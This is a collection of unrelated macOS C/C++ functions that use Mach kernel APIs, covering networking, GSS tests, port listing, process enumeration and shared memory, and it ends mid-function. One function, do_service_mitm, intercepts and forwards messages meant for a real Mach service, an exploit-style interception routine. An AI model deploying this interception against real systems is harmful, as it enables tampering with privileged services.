static int S_add_or_set_service(mach_port_t server, int argc, char * argv[], bool add) { CFDataRef data = NULL; CFDictionaryRef dict; char * method_name; if_name_t if_name; kern_return_t kret; inline_data_t service_id; unsigned int service_id_len; ipconfig_status_t status = ipconfig_status_success_e; void * xml_data_ptr = NULL; int xml_data_len = 0; strlcpy(if_name, argv[0], sizeof(if_name)); method_name = argv[1]; argv += 2; argc -= 2; dict = ConfigDictCreate(if_name, argc, argv, command_name, method_name, FALSE); if (dict == NULL) { return (1); } data = CFPropertyListCreateData(NULL, dict, kCFPropertyListBinaryFormat_v1_0, 0, NULL); if (data == NULL) { CFRelease(dict); fprintf(stderr, "failed to allocate memory\n"); return (1); } xml_data_ptr = (void *)CFDataGetBytePtr(data); xml_data_len = (int)CFDataGetLength(data); if (add) { kret = ipconfig_add_service(server, if_name, xml_data_ptr, xml_data_len, service_id, &service_id_len, &status); } else { kret = ipconfig_set_service(server, if_name, xml_data_ptr, xml_data_len, service_id, &service_id_len, &status); } CFRelease(dict); CFRelease(data); if (kret != KERN_SUCCESS) { fprintf(stderr, "ipconfig_%s_service failed, %s\n", add ? "add" : "set", mach_error_string(kret)); return (1); } if (status != ipconfig_status_success_e) { fprintf(stderr, "ipconfig_%s_service %s %s failed: %s\n", add ? "add" : "set", if_name, method_name, ipconfig_status_string(status)); return (1); } printf("%.*s\n", service_id_len, service_id); return (0); }
void *client(void *arg) { channel_t channel = (channel_t)arg; uint32_t major_stat; uint32_t minor_stat; uint32_t rflags; uint32_t inout_gssd_flags; gssd_cred cred_handle = (gssd_cred) (uintptr_t)GSS_C_NO_CREDENTIAL; gssd_ctx gss_context = (gssd_ctx) (uintptr_t)GSS_C_NO_CONTEXT; kern_return_t kr; int gss_error = 0; int retry_count = 0; char display_name[128]; do { if (read_channel(1, channel)) { Log("Bad read from server\n"); return (NULL); } if (verbose) Debug("Calling mach_gss_init_sec_context from %p\n", (void *) pthread_self()); deallocate(channel->ctoken, channel->ctokenCnt); channel->ctoken = (gssd_byte_buffer)GSS_C_NO_BUFFER; channel->ctokenCnt = 0; retry: switch (version) { case 0: case 1: kr = mach_gss_init_sec_context( client_mp, mech, channel->stoken, channel->stokenCnt, uid, principal, svcname, flags, gssd_flags, &gss_context, &cred_handle, &rflags, &channel->clnt_skey, &channel->clnt_skeyCnt, &channel->ctoken, &channel->ctokenCnt, &major_stat, &minor_stat); break; case 2: inout_gssd_flags = gssd_flags; kr = mach_gss_init_sec_context_v2( client_mp, mech, channel->stoken, channel->stokenCnt, uid, clientp.nt, clientp.name, clientp.len, targetp.nt, targetp.name, targetp.len, flags, &inout_gssd_flags, &gss_context, &cred_handle, &rflags, &channel->clnt_skey, &channel->clnt_skeyCnt, &channel->ctoken, &channel->ctokenCnt, display_name, &major_stat, &minor_stat); if (verbose && kr == KERN_SUCCESS && major_stat == GSS_S_COMPLETE) Debug("Got client identity of '%s'\n", display_name); break; default: Log("Unsupported version %d\n", version); exit(1); break; } if (kr != KERN_SUCCESS) { OSAtomicIncrement32(&server_errors); Log("gsstest client: %s\n", mach_error_string(kr)); if (exitonerror) exit(1); if (kr == MIG_SERVER_DIED) { OSAtomicIncrement32(&server_deaths); if (gss_context == (uint32_t)(uintptr_t)GSS_C_NO_CONTEXT && retry_count < max_retries) { retry_count++; goto retry; } } channel->failure = 1; write_channel(1, channel); return (NULL); } gss_error = (major_stat != GSS_S_COMPLETE && major_stat != GSS_S_CONTINUE_NEEDED); if (verbose > 1) { Debug("\tcred = 0x%0x\n", (int) cred_handle); Debug("\tclnt_gss_context = 0x%0x\n", (int) gss_context); Debug("\ttokenCnt = %d\n", (int) channel->ctokenCnt); if (verbose > 2) HexDump((char *) channel->ctoken, (uint32_t) channel->ctokenCnt); } channel->failure = gss_error; write_channel(1, channel); } while (major_stat == GSS_S_CONTINUE_NEEDED); if (gss_error) { OSAtomicIncrement32(&gss_init_errors); Log("mach_gss_int_sec_context: %#K %#k\n", major_stat, mechtab[mech], minor_stat); } close_channel(1, channel); return (NULL); }
void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) { mach_msg_size_t max_request_size = 0x10000; mach_msg_header_t* request = malloc(max_request_size); for(;;) { memset(request, 0, max_request_size); kern_return_t err = mach_msg(request, MACH_RCV_MSG | MACH_RCV_LARGE, // leave larger messages in the queue 0, max_request_size, replacer_portset, 0, 0); if (err == MACH_RCV_TOO_LARGE) { // bump up the buffer size mach_msg_size_t new_size = request->msgh_size + 0x1000; request = realloc(request, new_size); // try to receive again continue; } if (err != KERN_SUCCESS) { printf("error receiving on port set: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } got_replaced_with = request->msgh_local_port; printf("got a request, fixing it up...\n"); // fix up the message such that it can be forwarded: // get the rights we were sent for each port the header mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits); mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits); // fixup the header ports: // swap the remote port we received into the local port we'll forward // this means we're only mitm'ing in one direction - we could also // intercept these replies if necessary request->msgh_local_port = request->msgh_remote_port; request->msgh_remote_port = real_service_port; // voucher port stays the same int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits); // (remote, local, voucher) request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher)); if (is_complex) { request->msgh_bits |= MACH_MSGH_BITS_COMPLEX; // if it's complex we also need to fixup all the descriptors... mach_msg_body_t* body = (mach_msg_body_t*)(request+1); mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1); for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) { switch (desc->type) { case MACH_MSG_PORT_DESCRIPTOR: { mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc; inspect_port(port_desc->name); port_desc->disposition = right_fixup(port_desc->disposition); desc = (mach_msg_type_descriptor_t*)(port_desc+1); break; } case MACH_MSG_OOL_VOLATILE_DESCRIPTOR: case MACH_MSG_OOL_DESCRIPTOR: { mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc; // make sure that deallocate is true; we don't want to keep this memory: ool_desc->deallocate = 1; desc = (mach_msg_type_descriptor_t*)(ool_desc+1); break; } case MACH_MSG_OOL_PORTS_DESCRIPTOR: { mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc; // make sure that deallocate is true: ool_ports_desc->deallocate = 1; ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition); desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1); break; } } } } printf("fixed up request, forwarding it\n"); // forward the message: err = mach_msg(request, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, request->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("error forwarding service message: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } } }
DNSRecordReference DNSServiceRegistrationAddRecord(dns_service_discovery_ref ref, uint16_t rrtype, uint16_t rdlen, const char *rdata, uint32_t ttl) { mach_port_t serverPort = DNSServiceDiscoveryLookupServer(); mach_port_t clientPort; natural_t reference = 0; kern_return_t result = KERN_SUCCESS; if (!serverPort) { return kDNSServiceDiscoveryUnknownErr; } clientPort = DNSServiceDiscoveryMachPort(ref); if (!clientPort) { return kDNSServiceDiscoveryUnknownErr; } result = DNSServiceRegistrationAddRecord_rpc(serverPort, clientPort, rrtype, (record_data_t)rdata, rdlen, ttl, &reference); if (result != KERN_SUCCESS) { printf("The result of the registration was not successful. Error %d, result %s\n", result, mach_error_string(result)); } return reference; }
void ProcessInfo::update() { SignalBlocker sb; // attempt to head off weird mach errors unsigned int thread_info_count = THREAD_BASIC_INFO_COUNT; unsigned int task_info_count = TASK_EVENTS_INFO_COUNT; kern_return_t thread_err, task_err; thread_err = thread_info( mach_thread_self(), THREAD_BASIC_INFO, (thread_info_t)&my_thread_info, &thread_info_count); task_err = task_info( mach_task_self(), TASK_EVENTS_INFO, (task_info_t)& my_task_info, & task_info_count); static bool aw = true, hw = true; if ( task_err == MIG_ARRAY_TOO_LARGE || task_err == MACH_RCV_TOO_LARGE) { if (aw) {aw = false; warning(" task_info has grown"); } task_err = KERN_SUCCESS; } if ( thread_err == MIG_ARRAY_TOO_LARGE || thread_err == MACH_RCV_TOO_LARGE) { if (hw) {hw = false; warning("thread_info has grown"); } thread_err = KERN_SUCCESS; } // I don't know why this sometimes fails, but it's not fatal. -- dmu 2/04 if ( task_err != KERN_SUCCESS && !aw) {aw = true; warning1("Error calling task_info() %s\n", mach_error_string( task_err)); } if (thread_err != KERN_SUCCESS && !hw) {hw = true; warning1("Error calling thread_info() %s\n", mach_error_string(thread_err)); } }
static int as_read (void) { kern_return_t status; io_iterator_t iterator; io_object_t io_obj; CFMutableDictionaryRef prop_dict; CFTypeRef property; char type[128]; char inst[128]; int value_int; double value_double; int i; if (!io_master_port || (io_master_port == MACH_PORT_NULL)) return (-1); status = IOServiceGetMatchingServices (io_master_port, IOServiceNameMatching("IOHWSensor"), &iterator); if (status != kIOReturnSuccess) { ERROR ("IOServiceGetMatchingServices failed: %s", mach_error_string (status)); return (-1); } while ((io_obj = IOIteratorNext (iterator))) { prop_dict = NULL; status = IORegistryEntryCreateCFProperties (io_obj, &prop_dict, kCFAllocatorDefault, kNilOptions); if (status != kIOReturnSuccess) { DEBUG ("IORegistryEntryCreateCFProperties failed: %s", mach_error_string (status)); continue; } /* Copy the sensor type. */ property = NULL; if (!CFDictionaryGetValueIfPresent (prop_dict, CFSTR ("type"), &property)) continue; if (CFGetTypeID (property) != CFStringGetTypeID ()) continue; if (!CFStringGetCString (property, type, sizeof (type), kCFStringEncodingASCII)) continue; type[sizeof (type) - 1] = '\0'; /* Copy the sensor location. This will be used as `instance'. */ property = NULL; if (!CFDictionaryGetValueIfPresent (prop_dict, CFSTR ("location"), &property)) continue; if (CFGetTypeID (property) != CFStringGetTypeID ()) continue; if (!CFStringGetCString (property, inst, sizeof (inst), kCFStringEncodingASCII)) continue; inst[sizeof (inst) - 1] = '\0'; for (i = 0; i < 128; i++) { if (inst[i] == '\0') break; else if (isalnum (inst[i])) inst[i] = (char) tolower (inst[i]); else inst[i] = '_'; } /* Get the actual value. Some computation, based on the `type' * is neccessary. */ property = NULL; if (!CFDictionaryGetValueIfPresent (prop_dict, CFSTR ("current-value"), &property)) continue; if (CFGetTypeID (property) != CFNumberGetTypeID ()) continue; if (!CFNumberGetValue (property, kCFNumberIntType, &value_int)) continue; /* Found e.g. in the 1.5GHz PowerBooks */ if (strcmp (type, "temperature") == 0) { value_double = ((double) value_int) / 65536.0; sstrncpy (type, "temperature", sizeof (type)); } else if (strcmp (type, "temp") == 0) { value_double = ((double) value_int) / 10.0; sstrncpy (type, "temperature", sizeof (type)); } else if (strcmp (type, "fanspeed") == 0) { value_double = ((double) value_int) / 65536.0; sstrncpy (type, "fanspeed", sizeof (type)); } else if (strcmp (type, "voltage") == 0) { /* Leave this to the battery plugin. */ continue; } else if (strcmp (type, "adc") == 0) { value_double = ((double) value_int) / 10.0; sstrncpy (type, "fanspeed", sizeof (type)); } else { DEBUG ("apple_sensors: Read unknown sensor type: %s", type); value_double = (double) value_int; } as_submit (type, inst, value_double); CFRelease (prop_dict); IOObjectRelease (io_obj); } /* while (iterator) */ IOObjectRelease (iterator); return (0); } /* int as_read */
static void _increaseQueueLengthOnPort(mach_port_t port) { mach_port_limits_t qlimits; kern_return_t result; qlimits.mpl_qlimit = 16; result = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&qlimits, MACH_PORT_LIMITS_INFO_COUNT); if (result != KERN_SUCCESS) { printf("%s(): {%s:%d} mach_port_set_attributes() failed: $%x %s\n", __FUNCTION__, __FILE__, __LINE__, (int) result, mach_error_string(result)); } }
void show_task_mach_ports(my_per_task_info_t *taskinfo, uint32_t taskCount, my_per_task_info_t *allTaskInfos) { int i, emptycount = 0, portsetcount = 0, sendcount = 0, receivecount = 0, sendoncecount = 0, deadcount = 0, dncount = 0, vouchercount = 0, pid; kern_return_t ret; pid_for_task(taskinfo->task, &pid); printf(" name ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type\n"); printf("--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------\n"); for (i = 0; i < taskinfo->tableCount; i++) { int j, k; boolean_t send = FALSE; boolean_t sendonce = FALSE; boolean_t dnreq = FALSE; int sendrights = 0; unsigned int kotype = 0; vm_offset_t kobject = (vm_offset_t)0; /* skip empty slots in the table */ if ((taskinfo->table[i].iin_type & MACH_PORT_TYPE_ALL_RIGHTS) == 0) { emptycount++; continue; } if (taskinfo->table[i].iin_type == MACH_PORT_TYPE_PORT_SET) { mach_port_name_array_t members; mach_msg_type_number_t membersCnt; ret = mach_port_get_set_status(taskinfo->task, taskinfo->table[i].iin_name, &members, &membersCnt); if (ret != KERN_SUCCESS) { fprintf(stderr, "mach_port_get_set_status(0x%08x) failed: %s\n", taskinfo->table[i].iin_name, mach_error_string(ret)); continue; } printf("0x%08x 0x%08x port-set -------- --- 1 %d members\n", taskinfo->table[i].iin_name, taskinfo->table[i].iin_object, membersCnt); /* get some info for each portset member */ for (j = 0; j < membersCnt; j++) { for (k = 0; k < taskinfo->tableCount; k++) { if (taskinfo->table[k].iin_name == members[j]) { mach_port_info_ext_t info; mach_port_status_t port_status; mach_port_context_t port_context = (mach_port_context_t)0; if (0 != get_recieve_port_status(taskinfo->task, taskinfo->table[k].iin_name, &info)) { bzero((void *)&info, sizeof(info)); } port_status = info.mpie_status; get_receive_port_context(taskinfo->task, taskinfo->table[k].iin_name, &port_context); printf(" - 0x%08x %s --%s%s%s%s%s%s %5d %s%s%s %5d %5.0d %5.0d %s %6d %8d 0x%016llx 0x%08x (%d) %s\n", taskinfo->table[k].iin_object, (taskinfo->table[k].iin_type & MACH_PORT_TYPE_SEND) ? "recv,send ":"recv ", SHOW_PORT_STATUS_FLAGS(port_status.mps_flags), info.mpie_boost_cnt, (taskinfo->table[k].iin_type & MACH_PORT_TYPE_DNREQUEST) ? "D" : "-", (port_status.mps_nsrequest) ? "N" : "-", (port_status.mps_pdrequest) ? "P" : "-", 1, taskinfo->table[k].iin_urefs, port_status.mps_sorights, (port_status.mps_srights) ? "Y" : "N", port_status.mps_qlimit, port_status.mps_msgcount, (uint64_t)port_context, taskinfo->table[k].iin_name, pid, taskinfo->processName); break; } } } ret = vm_deallocate(mach_task_self(), (vm_address_t)members, membersCnt * sizeof(mach_port_name_t)); if (ret != KERN_SUCCESS) { fprintf(stderr, "vm_deallocate() failed: %s\n", mach_error_string(ret)); exit(1); } portsetcount++; continue; } if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_SEND) { send = TRUE; sendrights = taskinfo->table[i].iin_urefs; sendcount++; } if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_DNREQUEST) { dnreq = TRUE; dncount++; } if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_RECEIVE) { mach_port_status_t status; mach_port_info_ext_t info; mach_port_context_t context = (mach_port_context_t)0; ret = get_recieve_port_status(taskinfo->task, taskinfo->table[i].iin_name, &info); get_receive_port_context(taskinfo->task, taskinfo->table[i].iin_name, &context); /* its ok to fail in fetching attributes */ if (ret < 0) { continue; } status = info.mpie_status; printf("0x%08x 0x%08x %s --%s%s%s%s%s%s %5d %s%s%s %5d %5.0d %5.0d %s %6d %8d 0x%016llx \n", taskinfo->table[i].iin_name, taskinfo->table[i].iin_object, (send) ? "recv,send ":"recv ", SHOW_PORT_STATUS_FLAGS(status.mps_flags), info.mpie_boost_cnt, (dnreq) ? "D":"-", (status.mps_nsrequest) ? "N":"-", (status.mps_pdrequest) ? "P":"-", 1, sendrights, status.mps_sorights, (status.mps_srights) ? "Y":"N", status.mps_qlimit, status.mps_msgcount, (uint64_t)context); receivecount++; /* show other rights (in this and other tasks) for the port */ for (j = 0; j < taskCount; j++) { for (k = 0; k < allTaskInfos->tableCount; k++) { if (allTaskInfos[j].valid == FALSE || &allTaskInfos[j].table[k] == &taskinfo->table[i] || allTaskInfos[j].table[k].iin_object != taskinfo->table[i].iin_object) continue; printf(" + %s -------- %s%s%s %5d <- 0x%08x (%d) %s\n", (allTaskInfos[j].table[k].iin_type & MACH_PORT_TYPE_SEND_ONCE) ? "send-once " : "send ", (allTaskInfos[j].table[k].iin_type & MACH_PORT_TYPE_DNREQUEST) ? "D" : "-", "-", "-", allTaskInfos[j].table[k].iin_urefs, allTaskInfos[j].table[k].iin_name, allTaskInfos[j].pid, allTaskInfos[j].processName); } } continue; } else if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_DEAD_NAME) { printf("0x%08x 0x%08x dead-name -------- --- %5d \n", taskinfo->table[i].iin_name, taskinfo->table[i].iin_object, taskinfo->table[i].iin_urefs); deadcount++; continue; } if (taskinfo->table[i].iin_type & MACH_PORT_TYPE_SEND_ONCE) { sendonce = TRUE; sendoncecount++; } printf("0x%08x 0x%08x %s -------- %s%s%s %5.0d ", taskinfo->table[i].iin_name, taskinfo->table[i].iin_object, (send) ? "send ":"send-once ", (dnreq) ? "D":"-", "-", "-", (send) ? sendrights : 0); /* converting to kobjects is not always supported */ ret = mach_port_kernel_object(taskinfo->task, taskinfo->table[i].iin_name, &kotype, (unsigned *)&kobject); if (ret == KERN_SUCCESS && kotype != 0) { printf(" 0x%08x %s", (natural_t)kobject, kobject_name(kotype)); if ((kotype == IKOT_TASK_RESUME) || (kotype == IKOT_TASK) || (kotype == IKOT_TASK_NAME)) { if (taskinfo->task_kobject == kobject) { /* neat little optimization since in most cases tasks have themselves in their ipc space */ printf(" SELF (%d) %s", taskinfo->pid, taskinfo->processName); } else { my_per_task_info_t * _found_task = get_taskinfo_by_kobject((natural_t)kobject); printf(" (%d) %s", _found_task->pid, _found_task->processName); } } printf("\n"); if (kotype == IKOT_VOUCHER) { vouchercount++; if (lsmp_config.show_voucher_details) { show_voucher_detail(taskinfo->task, taskinfo->table[i].iin_name); } } continue; } /* not kobject - find the receive right holder */ my_per_task_info_t *recv_holder_taskinfo; mach_port_name_t recv_name = MACH_PORT_NULL; if (KERN_SUCCESS == get_taskinfo_of_receiver_by_send_right(&taskinfo->table[i], &recv_holder_taskinfo, &recv_name)) { mach_port_status_t port_status; mach_port_info_ext_t info; mach_port_context_t port_context = (mach_port_context_t)0; if (0 != get_recieve_port_status(recv_holder_taskinfo->task, recv_name, &info)) { bzero((void *)&port_status, sizeof(port_status)); } port_status = info.mpie_status; get_receive_port_context(recv_holder_taskinfo->task, recv_name, &port_context); printf(" -> %6d %8d 0x%016llx 0x%08x (%d) %s\n", port_status.mps_qlimit, port_status.mps_msgcount, (uint64_t)port_context, recv_name, recv_holder_taskinfo->pid, recv_holder_taskinfo->processName); } else printf(" 0x00000000 (-) Unknown Process\n"); } printf("total = %d\n", taskinfo->tableCount + taskinfo->treeCount - emptycount); printf("SEND = %d\n", sendcount); printf("RECEIVE = %d\n", receivecount); printf("SEND_ONCE = %d\n", sendoncecount); printf("PORT_SET = %d\n", portsetcount); printf("DEAD_NAME = %d\n", deadcount); printf("DNREQUEST = %d\n", dncount); printf("VOUCHERS = %d\n", vouchercount); }
bool SysInfo::GetAllProcess() { kern_return_t error; processor_set_t *psets, pset; task_t *tasks; unsigned i, j, pcnt, tcnt; m_nTotalTime = 0; host_priv_t libtop_port = mach_host_self(); // 必须获得系统root权限才能访问所有process list,下面这段代码不能获得,暂用pxl制作包来解决权限问题 host_t myhost = mach_host_self(); processor_set_name_t p_default_set; processor_set_t p_default_set_control; /* get the default processor set */ error = processor_set_default(myhost, &p_default_set); if (KERN_SUCCESS != error) { printf("Error in processor_set_default(): %s \n",mach_error_string(error)); char szInfo[256] = { 0 }; snprintf(szInfo, sizeof(szInfo) - 1, "processor_set_default error"); LogMsg(szInfo); } /* get the control port for this processor set */ error = host_processor_set_priv(myhost, p_default_set, &p_default_set_control); if (KERN_SUCCESS != error) { } error = host_processor_sets(libtop_port, &psets, &pcnt); if (error != KERN_SUCCESS) { GetProcessInfo(mach_task_self()); return TRUE; } m_pInfoList.clear(); for (i = 0; i < pcnt; i++) { error = host_processor_set_priv(libtop_port, psets[i], &pset); if (error != KERN_SUCCESS) { printf("Error in host_processor_set_priv(): %s \n",mach_error_string(error)); char szInfo[256] = { 0 }; snprintf(szInfo, sizeof(szInfo) - 1, "host_processor_set_priv error"); LogMsg(szInfo); return true; } error = processor_set_tasks(pset, &tasks, &tcnt); if (error != KERN_SUCCESS) { printf("Error in processor_set_tasks(): %s \n",mach_error_string(error)); char szInfo[256] = { 0 }; snprintf(szInfo, sizeof(szInfo) - 1, "processor_set_tasks error"); LogMsg(szInfo); return true; } for (j = 0; j < tcnt; j++) { if (GetProcessInfo(tasks[j])) { return true; } mach_port_deallocate(mach_task_self(),tasks[j]); } error = vm_deallocate((vm_map_t)mach_task_self(),(vm_address_t)tasks, tcnt * sizeof(task_t)); if (error != KERN_SUCCESS) { printf("Error in vm_deallocate(): %s \n",mach_error_string(error)); return true; } if ((error = mach_port_deallocate(mach_task_self(),pset)) != KERN_SUCCESS || (error = mach_port_deallocate(mach_task_self(),psets[i])) != KERN_SUCCESS) { printf("Error in mach_port_deallocate(): %s \n",mach_error_string(error)); return true; } } error = vm_deallocate((vm_map_t)mach_task_self(),(vm_address_t)psets, pcnt * sizeof(processor_set_t)); if (error != KERN_SUCCESS) { printf("Error in vm_deallocate(): %s \n",mach_error_string(error)); return true; } return false; }
static void rlsSchedule(void *info, CFRunLoopRef rl, CFStringRef mode) { SCDynamicStoreRef store = (SCDynamicStoreRef)info; SCDynamicStorePrivateRef storePrivate = (SCDynamicStorePrivateRef)store; #ifdef DEBUG SCLog(_sc_verbose, LOG_DEBUG, CFSTR("schedule notifications for mode %@"), (rl != NULL) ? mode : CFSTR("libdispatch")); #endif /* DEBUG */ if (storePrivate->rlList == NULL) { CFMachPortContext context = { 0 , (void *)store , CFRetain , CFRelease , notifyMPCopyDescription }; mach_port_t oldNotify; mach_port_t port; int sc_status; kern_return_t status; #ifdef DEBUG SCLog(_sc_verbose, LOG_DEBUG, CFSTR(" activate callback runloop source")); #endif /* DEBUG */ /* Allocating port (for server response) */ status = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (status != KERN_SUCCESS) { SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule mach_port_allocate(): %s"), mach_error_string(status)); return; } status = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (status != KERN_SUCCESS) { /* * We can't insert a send right into our own port! This should * only happen if someone stomped on OUR port (so let's leave * the port alone). */ SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule mach_port_insert_right(): %s"), mach_error_string(status)); return; } /* Request a notification when/if the server dies */ status = mach_port_request_notification(mach_task_self(), port, MACH_NOTIFY_NO_SENDERS, 1, port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &oldNotify); if (status != KERN_SUCCESS) { /* * We can't request a notification for our own port! This should * only happen if someone stomped on OUR port (so let's leave * the port alone). */ SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule mach_port_request_notification(): %s"), mach_error_string(status)); return; } if (oldNotify != MACH_PORT_NULL) { SCLog(TRUE, LOG_ERR, CFSTR("rlsSchedule(): oldNotify != MACH_PORT_NULL")); } retry : __MACH_PORT_DEBUG(TRUE, "*** rlsSchedule", port); status = notifyviaport(storePrivate->server, port, 0, (int *)&sc_status); if (__SCDynamicStoreCheckRetryAndHandleError(store, status, &sc_status, "rlsSchedule notifyviaport()")) { goto retry; } if (status != KERN_SUCCESS) { if ((status == MACH_SEND_INVALID_DEST) || (status == MIG_SERVER_DIED)) { /* remove the send right that we tried (but failed) to pass to the server */ (void) mach_port_deallocate(mach_task_self(), port); } /* remove our receive right */ (void) mach_port_mod_refs(mach_task_self(), port, MACH_PORT_RIGHT_RECEIVE, -1); return; } if (sc_status != kSCStatusOK) { /* something [else] didn't work, remove our receive right */ (void) mach_port_mod_refs(mach_task_self(), port, MACH_PORT_RIGHT_RECEIVE, -1); return; } __MACH_PORT_DEBUG(TRUE, "*** rlsSchedule (after notifyviaport)", port); storePrivate->rlsNotifyPort = _SC_CFMachPortCreateWithPort("SCDynamicStore", port, rlsCallback, &context); storePrivate->rlsNotifyRLS = CFMachPortCreateRunLoopSource(NULL, storePrivate->rlsNotifyPort, 0); storePrivate->rlList = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks); } if ((rl != NULL) && (storePrivate->rlsNotifyRLS != NULL)) { if (!_SC_isScheduled(store, rl, mode, storePrivate->rlList)) { /* * if we are not already scheduled with this runLoop / runLoopMode */ CFRunLoopAddSource(rl, storePrivate->rlsNotifyRLS, mode); __MACH_PORT_DEBUG(TRUE, "*** rlsSchedule (after CFRunLoopAddSource)", CFMachPortGetPort(storePrivate->rlsNotifyPort)); } _SC_schedule(store, rl, mode, storePrivate->rlList); } return; }
void show_voucher_detail(mach_port_t task, mach_port_name_t voucher) { unsigned int recipe_size = voucher_contents_size; kern_return_t kr = KERN_SUCCESS; bzero((void *)&voucher_contents[0], sizeof(voucher_contents)); unsigned v_kobject = 0; unsigned v_kotype = 0; kr = mach_port_kernel_object( task, voucher, &v_kotype, (unsigned *)&v_kobject); if (kr == KERN_SUCCESS && v_kotype == IKOT_VOUCHER ) { kr = mach_voucher_debug_info(task, voucher, (mach_voucher_attr_raw_recipe_array_t)&voucher_contents[0], &recipe_size); if (kr != KERN_SUCCESS && kr != KERN_NOT_SUPPORTED) { printf(VOUCHER_DETAIL_PREFIX "Voucher: 0x%x Failed to get contents %s\n", v_kobject, mach_error_string(kr)); return; } if (recipe_size == 0) { printf(VOUCHER_DETAIL_PREFIX "Voucher: 0x%x has no contents\n", v_kobject); return; } printf(VOUCHER_DETAIL_PREFIX "Voucher: 0x%x\n", v_kobject); unsigned int used_size = 0; mach_voucher_attr_recipe_t recipe = NULL; while (recipe_size > used_size) { recipe = (mach_voucher_attr_recipe_t)&voucher_contents[used_size]; if (recipe->key) { show_recipe_detail(recipe); } used_size += sizeof(mach_voucher_attr_recipe_data_t) + recipe->content_size; } } else { printf(VOUCHER_DETAIL_PREFIX "Invalid voucher: 0x%x\n", voucher); } }
PassRefPtr<SharedMemory> SharedMemory::create(size_t size) { ASSERT(size); mach_vm_address_t address; kern_return_t kr = mach_vm_allocate(mach_task_self(), &address, round_page(size), VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) { LOG_ERROR("Failed to allocate mach_vm_allocate shared memory (%zu bytes). %s (%x)", size, mach_error_string(kr), kr); return 0; } RefPtr<SharedMemory> sharedMemory = createFromVMBuffer(toPointer(address), size); if (!sharedMemory) { mach_vm_deallocate(mach_task_self(), address, round_page(size)); return 0; } sharedMemory->m_shouldVMDeallocateData = true; return sharedMemory.release(); }
void bsp_begin( const MCBSP_PROCESSOR_INDEX_DATATYPE P ) { struct mcbsp_init_data * const init = bsp_begin_check(); //if the check did not return an init struct, we are a //spawned thread and should just continue the SPMD //code. if( init == NULL ) return; //otherwise we need to start the SPMD code int *pinning = mcbsp_util_pinning( MCBSP_AFFINITY, P ); if( pinning == NULL ) { fprintf( stderr, "Could not get a valid pinning!\n" ); mcbsp_util_fatal(); } init->threads = malloc( P * sizeof( pthread_t ) ); if( init->threads == NULL ) { fprintf( stderr, "Could not allocate new threads!\n" ); mcbsp_util_fatal(); } pthread_attr_t attr; #ifndef __MACH__ cpu_set_t mask; #endif //further initialise init object init->P = P; init->abort = false; init->ended = false; init->sync_entry_counter = 0; init->sync_exit_counter = 0; pthread_mutex_init( &(init->mutex), NULL ); pthread_cond_init ( &(init->condition), NULL ); pthread_cond_init ( &(init->mid_condition), NULL ); mcbsp_util_address_table_initialise( &(init->global2local), P ); init->threadData = malloc( P * sizeof( struct mcbsp_thread_data * ) ); init->tagSize = 0; //spawn P-1 threads. The condition checks for both signed and unsigned types //since user may set MCBSP_PROCESSOR_INDEX_DATATYPE to a signed type. for( MCBSP_PROCESSOR_INDEX_DATATYPE s = P - 1; s < P && s >= 0; --s ) { //allocate new thread-local data struct mcbsp_thread_data *thread_data = malloc( sizeof( struct mcbsp_thread_data ) ); if( thread_data == NULL ) { fprintf( stderr, "Could not allocate local thread data!\n" ); mcbsp_util_fatal(); } //provide a link to the SPMD program init struct thread_data->init = init; //set local ID thread_data->bsp_id = s; //set the maximum number of registered globals at any time (0, since SPMD not started yet) thread_data->localC = 0; //initialise local to global map mcbsp_util_address_map_initialise( &(thread_data->local2global ) ); //initialise stack used for efficient registration of globals after de-registrations mcbsp_util_stack_initialise( &(thread_data->removedGlobals), sizeof( unsigned long int ) ); //initialise stack used for de-registration of globals mcbsp_util_stack_initialise( &(thread_data->localsToRemove), sizeof( void * ) ); //initialise stacks used for communication thread_data->queues = malloc( P * sizeof( struct mcbsp_util_stack ) ); for( MCBSP_PROCESSOR_INDEX_DATATYPE i = 0; i < P; ++i ) mcbsp_util_stack_initialise( &(thread_data->queues[ i ]), sizeof( struct mcbsp_communication_request) ); //initialise default tag size thread_data->newTagSize = 0; //initialise BSMP queue mcbsp_util_stack_initialise( &(thread_data->bsmp), sizeof( void * ) ); //initialise push request queue mcbsp_util_stack_initialise( &(thread_data->localsToPush), sizeof( struct mcbsp_push_request ) ); //provide a link back to this thread-local data struct init->threadData[ s ] = thread_data; //spawn new threads if s>0 if( s > 0 ) { //create POSIX threads attributes (for pinning) pthread_attr_init( &attr ); #ifndef __MACH__ CPU_ZERO( &mask ); CPU_SET ( 